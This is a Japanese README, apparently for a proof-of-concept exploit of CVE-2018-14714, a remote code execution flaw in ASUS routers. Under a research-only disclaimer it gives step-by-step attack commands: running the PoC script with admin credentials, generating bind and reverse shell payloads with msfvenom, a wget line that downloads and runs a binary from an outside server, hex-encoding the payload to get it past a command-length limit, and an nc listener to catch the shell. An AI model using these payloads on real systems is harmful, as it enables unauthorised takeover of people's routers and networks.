
ASUS WiFiルーターのRCE脆弱性
ASUS WiFiルーターのRCE脆弱性
このPoCは学習および研究目的のみです。違法行為に使用しないでください。法的な結果については、すべて自己責任となります。
以下のデモでは、テスト対象デバイスはASUS RT-N18U、ファームウェアバージョンは3.0.0.4.378.9216です。大学時代に購入したルーターで、現在はテストマシンとして使用しています:)
悪用条件
依存関係をインストールする必要があります:
$ python3 -m pip install requestsスクリプトを直接実行すると使用方法が表示されます。以下のコマンドを実行して、対象が脆弱かどうかを確認できます。
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

msfvenomコマンドを使用して、軽量なリバースシェルのバイナリ実行ファイルを生成できます。使用しているカーネル環境に応じてパラメータを変更できます。私の場合はarmv7lで、コマンドは以下の通りです:
バインドシェル
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

リバースシェル
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

対象デバイスでwgetコマンドが利用可能な場合、ポート4444で待ち受けを開始した後、疑似シェルで以下のコマンドを使用してリバースシェルを取得できます:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
対象環境にリモートリソースにアクセスするための組み込みコマンドがない場合は、続きをお読みください。
生成したバイナリファイルをバイナリデータに変換します。
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

対象に脆弱性が存在することを確認するには、シェルパラメータを追加してPythonスクリプトを再実行し、対話型の疑似シェルに入ります。コマンドが出力を生成しない場合でも、stdoutを受け取る場所がないため正常です。ただし、sleepコマンドを使用することで、コマンドが実際に実行されたことを確認できます。

さらに、テストに基づくと、コマンドラインは最大1022文字まで許可されることに注意が必要です。1022文字未満のコマンドを構築する必要があります。
したがって、ペイロードを手動で分割し、部分ごとに実行してコマンドが正常に動作するようにする必要があります。

次に、実際のリバースシェルを取得しましょう。指定したポートで待ち受けを開始します。
$ nc -lvnp 4444
Python PoCスクリプトを実行して、ペイロードを注入するための疑似シェルを取得します。
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

最後に、あとは取得したリバースシェルをお楽しみください :)
